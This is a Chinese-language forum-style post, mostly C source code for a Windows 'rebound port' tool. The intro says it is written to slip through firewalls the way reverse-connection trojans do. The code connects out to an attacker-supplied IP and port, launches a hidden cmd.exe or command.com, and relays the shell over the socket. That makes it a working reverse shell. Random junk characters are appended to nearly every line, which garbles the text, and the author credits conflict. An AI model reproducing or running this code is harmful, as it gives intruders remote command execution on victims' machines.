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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 e`gGzyM  
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/* ============================== 8Y;zs7Y  
Rebound port in Windows NT y}H*p  
By wind,2006/7 ? geWR_Z  
===============================*/ {?kKpMNNn  
#include a#~Z5>{  
#include y("0Xve  
n?KS]ar>  
#pragma comment(lib,"wsock32.lib") _tR.RAaa"  
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void OutputShell(); jd*%.FDi{  
SOCKET sClient; PxCl]~v  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; M,v@G$pW  
VNh,pQ(  
void main(int argc,char **argv) [F9KC^%S  
{ j#.-MfB  
WSADATA stWsaData; Duo#WtC  
int nRet; SS<+fWXE  
SOCKADDR_IN stSaiClient,stSaiServer; v"?PhO/{=  
QY CNO#*  
if(argc != 3) P*qNRP%  
{ BIB>U W  
printf("Useage:\n\rRebound DestIP DestPort\n"); o^"d2=  
return; 7l|>  
} ~QQ23k&  
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WSAStartup(MAKEWORD(2,2),&stWsaData); \t~u : D  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \gk3w,B?E  
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stSaiClient.sin_family = AF_INET; r~B Qy'  
stSaiClient.sin_port = htons(0); a[{QlD^D  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7>e~i,  
Y=wP3q  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @_weMz8}  
{ yK2*~T,6@  
printf("Bind Socket Failed!\n"); 7{/:,  
return; rF j)5~  
} '<E8< bi  
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stSaiServer.sin_family = AF_INET; <)*g7  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Q`wA"mw6k  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); C?c-V,  
p?gLW/n  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) MBTt'6M  
{ Exo`Z`m`U  
printf("Connect Error!"); =[-- Hf  
return; 7g<`w LAH  
} {XUfxNDf  
OutputShell(); J?=Ob?+ _  
} pQ2)M8 gf  
b42pLbpe'E  
void OutputShell() N?<@o2{  
{ 8GAQVe^$-  
char szBuff[1024]; QvQf@o  
SECURITY_ATTRIBUTES stSecurityAttributes; u5)A+.v  
OSVERSIONINFO stOsversionInfo; y:``|*+  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,Vn]Ft?n  
STARTUPINFO stStartupInfo; {<{G 1y~  
char *szShell; h.+&=s!Nsy  
PROCESS_INFORMATION stProcessInformation; zinl.8Uk  
unsigned long lBytesRead; %T*+t"\)  
}Knq9cf  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <!nWiwv  
|JQP7z6j]  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); hADb]O  
stSecurityAttributes.lpSecurityDescriptor = 0; w`!foPE  
stSecurityAttributes.bInheritHandle = TRUE; w 4gZ:fR=  
5J#g JFA  
nv[Sb%/  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,* vnt6C*  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (cew:z H  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 3#ZKuGg=  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ip|^?uyrk  
stStartupInfo.wShowWindow = SW_HIDE; ZV^J5wYE  
stStartupInfo.hStdInput = hReadPipe; Fmle|  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 78BuD[<X-  
vl(v1[pU  
GetVersionEx(&stOsversionInfo); ?4?jG3p  
Mz. &d:  
switch(stOsversionInfo.dwPlatformId) fJ lN'F7  
{ MAo,PiYb  
case 1: &!~n=]*sz  
szShell = "command.com"; `.-k%2?/  
break; [hj'Yg8{  
default: OQ*. ho  
szShell = "cmd.exe"; s(9rBDoY(8  
break; y#0Z[[I0  
} ~u& O  
m95$V&  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Q&'Nr3H#tZ  
qtwmTT)  
send(sClient,szMsg,77,0); q5?mP6   
while(1) rBPxGBd4  
{ 5j 01Mx A  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); M#2U'jy  
if(lBytesRead) uM<+2S  
{ jCv+m7Z  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); VQx-gm8}!  
send(sClient,szBuff,lBytesRead,0); %4^/.) Q  
} > V}NG  
else pr89zkYw  
{ '^Np<  
lBytesRead=recv(sClient,szBuff,1024,0); a~EEow;A  
if(lBytesRead<=0) break; VQ 3&  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); o=2`N2AL  
} HUI!IOh  
} ZKTBjOa]*  
$iJ #%&D  
return; r+Cha%&D  
}
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